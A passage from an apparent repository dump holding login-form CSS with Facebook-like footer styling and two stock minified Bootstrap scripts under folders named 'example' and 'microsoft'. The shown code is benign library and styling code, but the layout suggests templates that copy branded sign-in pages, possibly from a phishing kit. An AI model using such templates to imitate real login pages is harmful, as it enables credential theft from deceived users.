border-box; 79 | font-size: 16px; 80 | margin: 10px auto; 81 | border: 1px solid lightgray; 82 | border-radius: 8px; 83 | outline-width: thin; 84 | outline-color: rgb(160, 160, 255); 85 | } 86 | 87 | .a-form .a-pss:focus { 88 | outline: none; 89 | box-shadow: 0px 0px 2px #0066ff; 90 | } 91 | 92 | .a-form .a-sub { 93 | display: block; 94 | width: 100%; 95 | padding: 15px; 96 | margin: 10px auto; 97 | box-sizing: border-box; 98 | background-color: #004790; 99 | text-align: center; 100 | color: white; 101 | font-size: 20px; 102 | border: none; 103 | font-weight: 700; 104 | border-radius: 8px; 105 | } 106 | 107 | .a-form .a-sub:hover { 108 | cursor: pointer; 109 | background-color: #003780; 110 | border: none; 111 | } 112 | 113 | .a-form .a-sub:active { 114 | cursor: progress; 115 | background-color: #102770; 116 | border: none; 117 | outline: none; 118 | } 119 | 120 | .a-form .a-sub:focus { 121 | outline: none; 122 | box-shadow: 0px 0px 2px #0066ff; 123 | } 124 | 125 | .a-form .a-link { 126 | display: block; 127 | text-decoration: none; 128 | text-align: center; 129 | padding-bottom: 10px; 130 | padding-top: 10px; 131 | font-size: 16px; 132 | } 133 | 134 | .a-form .a-hr { 135 | display: block; 136 | margin-top: 0.5em; 137 | margin-bottom: 1.5em; 138 | margin-left: auto; 139 | margin-right: auto; 140 | border: 1px solid #E0E0E0; 141 | } 142 | 143 | .a-form .a-but { 144 | display: block; 145 | width: 60%; 146 | background-color: #32CD32; 147 | padding: 14px; 148 | margin: 10px auto; 149 | color: white; 150 | font-size: 18px; 151 | font-weight: 700; 152 | border: none; 153 | box-sizing: border-box; 154 | text-align: center; 155 | cursor: pointer; 156 | border-radius: 8px; 157 | } 158 | 159 | .a-form .a-but:hover { 160 | cursor: pointer; 161 | border: none; 162 | background-color: #67ab04; 163 | outline: none; 164 | } 165 | 166 | .a-form .a-but:focus { 167 | outline: none; 168 | background-color: #67ab04; 169 | } 170 | 171 | .a-ri8{ 172 | padding: 15px; 173 | font-size: 25px; 174 | } 175 | 176 | .a-page { 177 | display: block; 178 | padding: 10px; 179 | padding-left: 70px; 180 | margin: 10px auto; 181 | padding-top: 110px; 182 | } 183 | 184 | .a-href{ 185 | text-decoration: none; 186 | font-weight: 700; 187 | color: black; 188 | } 189 | 190 | .a-href:hover { 191 | text-decoration: underline; 192 | } 193 | 194 | .create-page{ 195 | width: 100%; 196 | text-align: center; 197 | font-size: 14px; 198 | } 199 | 200 | .footer{ 201 | display: flex; 202 | justify-content: center; 203 | width: 100%; 204 | background: #fff; 205 | padding-bottom: 1rem; 206 | } 207 | 208 | #pageFooter{ 209 | max-width: 968px; 210 | color: #737373; 211 | margin: 0; 212 | padding: 0; 213 | } 214 | ul{ 215 | line-height: 1.6; 216 | } 217 | 218 | ul li{ 219 | margin: 0; 220 | padding: 0; 221 | display: inline-block; 222 | padding-left: 10px; 223 | font-size: 12px; 224 | list-style-type: none; 225 | } 226 | 227 | a{ 228 | white-space: nowrap; 229 | margin: 0; 230 | padding: 0; 231 | color: #385898; 232 | cursor: pointer; 233 | text-decoration: none; 234 | } 235 | 236 | a:hover{ 237 | text-decoration: underline; 238 | } 239 | 240 | #line{ 241 | border-bottom: 1px solid #dddfe2; 242 | font-size: 1px; 243 | height: 8px; 244 | margin-bottom: 8px; 245 | } 246 | 247 | .copyright{ 248 | font-size: 12px; 249 | padding-left: 10px; 250 | padding-top: 1rem; 251 | } 252 | 253 | .m-footer{ 254 | display: none; 255 | } 256 | @media screen and (max-width: 760px) { 257 | 258 | main{ 259 | height: 100%; 260 | } 261 | 262 | .main{ 263 | flex-direction: column; 264 | height: 100%; 265 | } 266 | 267 | .heading-section{ 268 | margin: 0; 269 | max-width: 400px; 270 | align-items: center; 271 | margin: 2rem 0; 272 | } 273 | 274 | .a-ri8{ 275 | font-size: 21px; 276 | } 277 | 278 | .form{ 279 | padding-bottom: 4rem; 280 | } 281 | 282 | .footer{ 283 | display: none; 284 | } 285 | 286 | .m-footer{ 287 | display: block; 288 | color: #737373; 289 | } 290 | 291 | .main-c{ 292 | display: flex; 293 | justify-content: space-between; 294 | font-size: 12px; 295 | text-align: center; 296 | padding: 1rem 6rem; 297 | } 298 | 299 | .list-1{ 300 | display: flex; 301 | flex-direction: column; 302 | } 303 | 304 | .list-2{ 305 | display: flex; 306 | flex-direction: column; 307 | } 308 | 309 | .main-c a{ 310 | color: #737373; 311 | text-decoration: none; 312 | } 313 | 314 | .main-c a:hover{ 315 | text-decoration: none; 316 | } 317 | 318 | .main-links{ 319 | color: #737373; 320 | font-size: 10px; 321 | width: 100%; 322 | text-align: center; 323 | padding-bottom: .5rem; 324 | } 325 | 326 | .main-links span{ 327 | cursor: pointer; 328 | } 329 | 330 | .fb{ 331 | cursor:pointer; 332 | font-size: 12px; 333 | padding-bottom: .5rem; 334 | width: 100%; 335 | text-align: center; 336 | } 337 | } -------------------------------------------------------------------------------- /templates/example/static/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /** 2 | * bootstrap.js v3.0.0 by @fat and @mdo 3 | * Copyright 2013 Twitter Inc. 4 | * http://www.apache.org/licenses/LICENSE-2.0 5 | */ 6 | if(!jQuery)throw new Error("Bootstrap requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]}}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(window.jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d)};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(a){var b="disabled",c=this.$element,d=c.is("input")?"val":"html",e=c.data();a+="Text",e.resetText||c.data("resetText",c[d]()),c[d](e[a]||this.options[a]),setTimeout(function(){"loadingText"==a?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle="buttons"]');if(a.length){var b=this.$element.find("input").prop("checked",!this.$element.hasClass("active")).trigger("change");"radio"===b.prop("type")&&a.find(".active").removeClass("active")}this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(window.jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}this.sliding=!0,f&&this.pause();var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});if(!e.hasClass("active")){if(this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")){if(this.$element.trigger(j),j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid")},0)}).emulateTransitionEnd(600)}else{if(this.$element.trigger(j),j.isDefaultPrevented())return;d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?(this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350),void 0):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(window.jQuery),+function(a){"use strict";function b(){a(d).remove(),a(e).each(function(b){var d=c(a(this));d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown")),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown"))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){if("ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(''}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"html":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(window.jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(c).is("body")?a(window):a(c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#\w/.test(e)&&a(e);return f&&f.length&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parents(".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(window.jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.attr("data-target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top()),"function"==typeof h&&(h=f.bottom());var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;this.affixed!==i&&(this.unpin&&this.$element.css("top",""),this.affixed=i,this.unpin="bottom"==i?e.top-d:null,this.$element.removeClass(b.RESET).addClass("affix"+(i?"-"+i:"")),"bottom"==i&&this.$element.offset({top:document.body.offsetHeight-h-this.$element.height()}))}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(window.jQuery); -------------------------------------------------------------------------------- /templates/microsoft/static/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.0 (http://getbootstrap.com) 3 | * Copyright 2011-2014 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.0",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.0",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active"));a&&this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus","focus"==b.type)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.0",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c="prev"==a?-1:1,d=this.getItemIndex(b),e=(d+c)%this.$items.length;return this.$items.eq(e)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i="next"==b?"first":"last",j=this;if(!f.length){if(!this.options.wrap)return;f=this.$element.find(".item")[i]()}if(f.hasClass("active"))return this.sliding=!1;var k=f[0],l=a.Event("slide.bs.carousel",{relatedTarget:k,direction:h});if(this.$element.trigger(l),!l.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var m=a(this.$indicators.children()[this.getItemIndex(f)]);m&&m.addClass("active")}var n=a.Event("slid.bs.carousel",{relatedTarget:k,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),j.sliding=!1,setTimeout(function(){j.$element.trigger(n)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(n)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&"show"==b&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a(this.options.trigger).filter('[href="#'+b.id+'"], [data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.0",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0,trigger:'[data-toggle="collapse"]'},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.find("> .panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse 